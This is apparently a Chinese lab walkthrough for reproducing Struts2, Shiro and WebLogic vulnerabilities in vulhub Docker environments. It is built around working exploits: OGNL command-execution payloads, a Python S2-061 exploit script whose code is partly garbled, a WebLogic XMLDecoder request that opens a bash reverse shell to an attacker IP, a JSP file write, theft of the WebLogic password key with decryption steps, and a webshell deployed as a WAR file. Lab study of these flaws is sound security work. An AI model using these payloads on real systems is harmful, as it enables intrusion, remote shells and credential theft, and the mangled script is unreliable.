vulhub靶场框架漏洞复现手册(strusts2\shiro\weblogic)附工具链接

阅读: 评论:0

vulhub靶场框架漏洞复现手册(strusts2shiroweblogic)附工具链接

vulhub靶场框架漏洞复现手册(strusts2shiroweblogic)附工具链接

文章目录

前言

一、struts2远程代码执行

s2-029

s2-061

s2-001

二、shiro反序列化漏洞复现

总结


前言

工具+手工复现vulhub靶场下的框架漏洞,包括struts2远程代码执行(2-029,s2-061,s2-001),shiro反序列化漏洞(CVE-2016-4437),weblogic反序列化漏洞(CVE-2017-10271,CVE-2018-2628,CVE-2018-2894,CVE-2020-14882,ssrf,weak-password)。持续更新中...


一、struts2远程代码执行

漏洞介绍:Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站

漏洞特征:

1. 查看被测应用系统的源码,URL接口地址以 “.action” “.do” 结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-

2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞。

s2-029

1. 拉取漏洞环境镜像

docker pull medicean/vulapps:s_struts2_s2-029

 

2. 启动漏洞环境

docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029

3. 测试靶场

访问kali ip:8080,出现如下代表靶场搭建成功

4. 使用工具利用漏洞

        (1)Liqun验证

 验证结果:存在漏洞

 命令执行

工具链接: 
提取码:8lk3

        (2) Strusts2_Test工具

命令执行

工具链接: 
提取码:8lk3

        (3) Strusts2漏洞检查工具

 

命令执行

工具链接: 
提取码:8lk3

 5. 手工利用漏洞

        (1) 刷新页面抓包,发送到repeater。如果url的位置只有ip:8080,就手动在后面添加/default.action?message=。之后在message=后拼接poc

#POC
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apachemons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

 

返回包爆出了用户权限

s2-061

 1. 进入vulhub目录用docker拉取镜像启动环境。如果没有启动成功是因为上一个开启的靶场占用了8080端口。重启一下docker就行。

重启docker命令:systemctl restart docker
开启环境命令:docker-compose up -d

2. 访问靶场

kali ip:8080

3.验证漏洞

发现使用工具验证不到漏洞存在,所以按照教程手工验证

        (1) 在url后面拼接一条简单语句进行测试

        ?id=%{ 'test' + (2000 + 20).toString()} 

查看页面源码发现被执行了,漏洞是存在的

4. 漏洞利用

        (1) 方法一:使用python脚本利用漏洞

                ① Struts2-061.py

#struts2-061.py
#encoding=utf-8
import requests
import sys
from lxml import etreedef exp(url, cmd):payload = "%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%at.InstanceManager%27%5d).(%23potats0%wInstance(%llections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%(%27memberAccess%27)).(%23emptySet%wInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%wInstance(%plate.utility.Execute%27)).(%23cmd%3d%7b%27" + cmd + "%27%7d).(%23res%(%23cmd))%7d"tturl = url + "/?id=" + payloadr = (tturl)page = r.text#   etree&#page = etree.HTML(page)data = page.xpath('//a[@id]/@id')print(data[0])if __name__ == '__main__':print('+------------------------------------------------------------+')print('+ EXP: python struts2-061-poc.py :8081 id      +')print('+ VER: Struts 2.0.0-2.5.25                                   +')print('+------------------------------------------------------------+')print('+ S2-061 RCE && CVE-2020-17530                               +')print('+------------------------------------------------------------+')if len(sys.argv) != 3:print("[+]ussage: ip:port command")print("[+]============================================================")it()url = sys.argv[1]cmd = sys.argv[2]
exp(url, cmd)

                ② 在脚本目录打开cmd,运行脚本

python struts2-061.py url cmd

脚本链接: 
提取码:8lk3

        (2) 方法二:在url上构造payload

                ① payload

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%at.InstanceManager%27]).(%23potats0%wInstance(%llections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%(%27memberAccess%27)).(%23emptySet%wInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%wInstance(%plate.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%(%23cmd))}

                 ② 查看页面源代码发现命令被执行了

s2-001

  1. 启动环境 docker-compose up -d
  2. 访问靶场,验证是否存在代码执行。输入代码%{123},返回的是参数值123,说明漏洞存在。

        3. 构造poc,填到password框

(1)Tomcat执行语句

Poc:%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

 (2) 获取web路径

Poc:%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#RealPath("/")),#response.flush(),#response.close()}

(3) 查看权限 

Poc:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

(4) 在执行任意命令时只需要将上面poc的whoami替换

二、shiro反序列化漏洞

CVE-2016-4437

1. 开启靶场

进入到靶场目录下使用命令:docker-compose up -d --build

如果添加了--build参数出错(如下)的话就把它删掉。猜测只有第一次开启这个靶场的时候才需要--build,已经开过就不用--build参数

出现done则说明靶场开启成功

 

2. 测试靶场

 在win10火狐输入kalli ip+8080测试靶场是否开启成功

3. 查看返回包验证是否存在shiro漏洞

使用admin/vulhub登录,勾选remember me,抓包。发送到repeater,查看回显包有无remember=deleteme字段。如果有则存在shiro漏洞

 

4. 用工具检验漏洞

工具:liqun

 

5. 反弹shell

        (1) 在kali新开一个终端监听端口。命令:nc -lvvp 端口号

 

        (2) 使用工具反弹shell

 

        (3) 在终端执行命令

        (4) 在工具执行命令 

 

总结:想尝试使用centOS7来监听端口接收反弹的shell,但是工具里面显示执行成功centOS7的终端一直接收不到反弹的shell。所以还是用kali方便~

 

三、weblogic反序列化漏洞

tips:weblogic常用端口是7001

weak_password

1. 进入viulhub目录开启漏洞环境

#cd vulhub/welogic/weak_password
#docker-compode up -d

2. 查看端口映射信息,发现映射到了7001

docker ps

3. 访问靶场

kali ip:7001

4. 使用工具检测漏洞

        (1) liqun

        (2) java反序列化漏洞利用工具

 

工具链接: 
提取码:8lk3

5. 手工利用漏洞

        (1) 访问/console/login/LoginForm.jsp

转到后台登录页面

        (2) 获取用户和密码的加密密钥和密文

        (3) 获取密钥

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和l。储存密钥的文件:SerializedSystemIni.dat

访问:ip:7001//hello/file.jsp?path=security/SerializedSystemIni.dat 抓包重发,返回包中的一串乱码就是密钥。

         (4) 将密钥保存为一个.bat文件便于后续解密 

 

        (5) 获取密文

访问ip:7001/hello/file.jsp?path=l,其中的<node-manager-password-encrypted> 的值,即为加密后的管理员密码

 

        (6) 只用工具解密

工具链接: 
提取码:8lk3

 添加密钥文件时最好使用工具包里的weblogicWeblogicSerializedSystemIni.dat文件。用自己保存的那个会出现错误不知道为啥。

 

         (7)weblogic常用的用户名/密码

6. 后台文件上传

        (1) 用刚刚解密出来的用户名和密码登录系统

        (2) 上传路径:域结构-部署-安装-上 传文件

        (3) 将jsp木马文件压缩。(冰蝎文件夹下面有各个语言的一句话木马)

压缩为war文件的命令:jar -cvf shell.war shell.jsp

因为war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。

 

 

(4)部署完成

 

CVE- 2017-10271

1. 启动靶场环境

docker-compose up -d 

 

2. 查看docker端口开启情况,发现开启了7001端口

3. 访问靶场路径,kali IP:7001//wls-wsat/CoordinatorPortType11,出现下图说明存在漏洞

 

4. 用攻击机端口21开启监听

刚开始使用win10作为监听机,但是无法监听到内容。换成kali就行。因为靶场和kali相当于处于同一个内网,物理机是作为外网的存在,所以win10无法直接监听到内网的端口。

5. 使用bp向靶机发送如下post请求

POC:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶机ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637<soapenv:Envelope xmlns:soapenv="/"> <soapenv:Header>
<work:WorkContext xmlns:work="/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/攻击机ip/监听端口 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 

6. 发送POC结果

成功接收到反弹shell

简单命令执行:

7. 尝试 写一句话木马,将poc拼接到之前的post请求下

POC:
<soapenv:Envelope xmlns:soapenv="/"><soapenv:Header><work:WorkContext xmlns:work="/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter">      <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% out.print("test"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

 

8. 访问靶场ip: 7001//bea_wls_internal/test.jsp,写入成功


总结

持续更新中...

本文发布于:2024-01-31 15:48:50,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170668733229635.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:靶场   漏洞   框架   手册   链接
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23